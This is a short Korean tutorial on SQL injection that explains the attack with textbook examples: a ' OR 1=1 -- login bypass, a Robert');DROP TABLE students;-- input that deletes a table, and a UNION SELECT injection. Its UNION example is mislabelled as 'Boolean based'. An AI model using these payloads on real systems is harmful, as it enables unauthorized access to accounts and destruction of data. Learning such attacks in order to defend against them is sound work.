악의적인 사용자가 보안상의 취약점을 이용하여 임의의 SQL문을 주입하고 실행되게 해서 데이터베이스가 비정상적인 동작을 하도록 조작하는 행위
SELECT문
SELECT * FROM users WHERE id = '아이디' AND password = '패스워드';
위와 같은 쿼리문이 존재한다.
아이디에 ' OR 1=1 --
을 주입
SELECT * FROM users WHERE id = '' OR 1=1 --' AND password = '패스워드';
// 아래와 동일 쿼리, 1=1은 항상 참이기 때문에
SELECT * FROM users;
1=1
은 항상 참이기 때문에 where절을 참으로 만들어준다.
users
테이블의 모든 정보를 조회할 수 있고 얻은 계정으로 로그인에 성공한다.
보통 관리자 계정을 맨 처음 만들기 때문에 첫번째 레코드의 해당 계정으로 관리자의 권한을 이용해서 또 다른 피해를 발생시킬 수 있다.
INSERT문
INSERT INTO students (NAME) VALUES ('학생 이름');
'학생 이름'
자리에 Robert');DROP TABLE students;--
를 넣을 경우
INSERT INTO students (NAME) VALUES ('Robert');
DROP TABLE students;
--');
이렇게 학생 테이블을 삭제하는 명령문이 완성된다.
Boolean based
여러 개의 SQL문을 합쳐서 하나의 SQL문으로 만들어주는 방법
SELECT * FROM users WHERE id = '아이디' AND password = '패스워드';
입력값
- 아이디: test' UNION SELECT 1,1 --
- 패스워드: hello
SELECT * FROM users WHERE id = 'test' UNION SELECT 1,1 -- AND password = ('hello');
users
테이블의 모든 튜플들이 조회된다.